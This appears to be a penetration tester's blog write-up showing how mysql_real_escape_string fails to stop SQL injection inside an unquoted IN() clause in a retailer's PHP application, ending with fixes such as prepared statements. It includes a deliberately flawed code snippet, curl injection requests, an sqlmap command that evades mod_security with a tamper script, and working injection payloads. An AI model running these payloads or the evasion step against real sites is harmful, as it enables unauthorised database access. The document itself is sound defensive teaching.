Edited: 5th Oct 2014 after bug fixing and reader feedback
Edited: 6th Oct 2014 after reader feedback

I was engaged by an online retailer to test their custom web application CMS and store. I attended their premises and sat down with the tech manager and his lead developer to discuss with them from both a business management and a technical perspective some of the vulnerabilities that should be tested for, as well as to gain a solid understanding of the business needs and logic.

When I came on to SQL injection, I was assured by the lead developer that owing to their secure coding practices, SQL injection is completely impossible. All expected user entered integers are cast as integers, and all expected user entered strings are run through mysql_real_escape_string before being passed back to the database. Once code is committed by a developer to the development Subversion server, the lead developer then manually reviews it before deciding to push it live. Great, I thought, it’s certainly a good start. I did point out that this might not always work, but he didn’t seem too phased, and I didn’t want to get too much into a discussion about why or when that might not always work at that stage.

I thought it better to test the application with this knowledge, and then present my findings which would either discuss and elaborate on how this practice could be exploited in future code, or, as a high impact item and that vulnerabilities were found within the application.

Let’s look first at the two practices discussed, 1) casting expected integers as ‘int’ and 2) using mysql_real_escape_string.

1. Casting expected integers as ‘int’ is an idea. Here’s an example of how this works:

<?php
        function cast_int($i)
        {
                $myint = (int)$i;
                echo "myint is: " . $myint . "\n";
        }

        cast_int(5);
        cast_int("npn");
        cast_int("100");
        cast_int("\'; bad sql");
?>

Running this code results in the following output:

pwn@me:~$ php ./test.php
myint is: 5
myint is: 0
myint is: 100
myint is: 0

What’s happening here is that any string that can be represented as an integer, i.e. ‘”100″‘ is converted to an integer, ‘100’. Any integer, i.e. ‘5’ is left as-is. Any string that can not be represented as an integer becomes ‘0’. Great – it’s pretty difficult to sneak malicious characters past this one!

2. Using mysql_real_escape_string which ‘escapes’ special MySQL characters within a string is also a good idea, BUT.. it doesn’t escape ALL special MySQL characters. From php.net, “mysql_real_escape_string() calls MySQL’s library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ‘, ” and \x1a.” Hold on a minute.. aren’t ‘%’, ‘_’, ‘–‘, ‘(‘ and ‘)’ amongst others also special characters? What about reserved words?

Let’s take a look at how this works:

<?
        function escape_str($s)
        {
                $mystr = mysql_real_escape_string($s);
                echo "mystr is: " . $mystr . "\n";
        }

        escape_str("npn");
        escape_str("100");
        escape_str("' OR 1=1; --");
        escape_str("my name is");
        escape_str("(%banana_)");
?>

Running this results in:

pwn@me:~$ php ./test.php
mystr is: npn
mystr is: 100
mystr is: \' OR 1=1; --
mystr is: my name is
mystr is: (%banana_)

As we can see here, the string “‘ OR 1=1; –” has had a ‘\’ prepended however none of our other special characters have been affected in any of the strings. Surely this is secure? How can we pull of an SQL injection attack with our quotes being escaped? Quite easily actually in the right context. Look at this flawed application code:

        $mygids = mysql_real_escape_string(implode(",", $_POST['id_array']));
        $sql = "SELECT id FROM users WHERE gid IN (" . $mygids . ");";
        $res = mysql_query($sql) or die(mysql_error());
        while ($obj = mysql_fetch_object($res))
        {
                echo $obj->id . "\n";
        }
        mysql_close($link);

The expected input to this code is an ‘id_array’ array containing integers. Let’s look at how we can pass the expected result to the application through cURL:

curl http://me/test.php -d "id_array[]=7&id_array[]=8&id_array[]=9"

Look what happens though when we add a ‘)’:

curl http://me/test.php -d "id_array[]=7&id_array[]=8&id_array[]=9)"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 1

Or a ‘test’:

curl http://me/test.php -d "id_array[]=7&id_array[]=8&id_array[]=test"
Unknown column 'test' in 'where clause'

We get a MySQL error, indicating that our characters and strings are being passed directly to the database and triggering the database error displayed.

Now let’s look at what the application is actually doing with this input. ‘id_array’ first gets imploded from an array into a comma separated list of array values, in this case, ‘7,8,9’. This is expected by the application to be a string, so casting it to an integer would result in ‘0’. According to the Company’s development guidelines, mysql_real_escape_string is used on strings. The issue however is the way that this data is being used – within a ‘WHERE gid IN (…)’ statement. We don’t need a single quote to break out of this construct – we can break out of it with a bracket which is one of the special characters that mysql_real_escape_string doesn’t modify. We can also enter additional strings, or even just a column name:

curl http://me/test.php -d "id_array[]=7&id_array[]=8&id_array[]=id"

I begin by passing this data to sqlmap when I quickly notice that mod_security is in use, hindering our efforts to exploit the vulnerability. In this case, their ruleset was easily evaded using sqlmap’s ‘modsecurityversioned.py’ tamper script:

./sqlmap.py -u http://me/test.php --data="id_array[]=7&id_array[]=8&id_array[]=9" --dbs --tamper=./tamper/modsecurityversioned.py

sqlmap identifies the following injection points:

Place: POST
Parameter: id_array[]
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id_array[]=7&id_array[]=8&id_array[]=9) AND 1112=1112 AND (8698=8698

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id_array[]=7&id_array[]=8&id_array[]=9) AND (SELECT 9690 FROM(SELECT COUNT(*),CONCAT(0x7162647571,(SELECT (CASE WHEN (9690=9690) THEN 1 ELSE 0 END)),0x7177757671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7232=7232

Notice the payloads that sqlmap has used. Looking at the first example, the ‘IN’ clause is broken out of using brackets as we expected – not single quotes. The resulting query becomes:

SELECT id FROM users WHERE gid IN (7,8,9) AND 1112=1112 AND (8698=8698);

Which is a perfectly legitimate query indicating that we can inject SQL into the input string. Sqlmap then proceeds to enumerate the databases as we asked:

[20:47:41] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[20:47:41] [INFO] fetching database names
[20:47:42] [INFO] the SQL query used returns 4 entries
[20:47:42] [INFO] retrieved: information_schema
[20:47:43] [INFO] retrieved: maildb
[20:47:43] [INFO] retrieved: mysql
[20:47:44] [INFO] retrieved: plzpwn

We can then append –current-user to sqlmap:

current user:    'root@localhost'

This isn’t good – their application is connecting to MySQL as root. Not only do we now own the database and all data within it, but we also have root on the database server. To escalate MySQL root to full system root access, check out this tutorial.

Now, how can we solve the issue? The first thing to understand is that mysql_real_escape_string doesn’t magically fix all user input before it gets passed to the database. User data must be examined and sanitized, however an important thing to take into account is the context in which it is used.

In this case, the front end web application was only built to pass between 1 and 3 IDs in this way. One solution would be to use MySQLi and prepared statements, which in this case would have resulted in the following construct:

$res = $mysqli->prepare("SELECT id FROM users WHERE gid=? OR gid=? OR gid=?")
$bind -> bind_param("iii", $gid1, $gid2, $gid3);

As pointed out by reader Koval, this issue could have been solved by amending the code to single quote the $gids. This would require a single quote to break out of, which would be escaped by mysql_real_escape_string:

Reader Barry suggests the following:

$mygids = implode("','", array_map('mysql_real_escape_string',$_POST['id_array'])));
$sql = "SELECT id FROM users WHERE gid IN ('" . $mygids . "');";

Note, that this is not a bug in mysql_real_escape_string or escaping – this is a programmer error based on the incorrect idea that “mysql_real_escape_string fixes user data before it goes to the database”, and that quotes were not correctly used in the initial code.

MySQLi was recommended to help avoid this and similar types of issue creeping in again in future. Once the programming standards were changed and communicated, new coding controls put in place. A project to implement prepared statements and MySQLi throughout followed by a retest and a high level code review was initiated.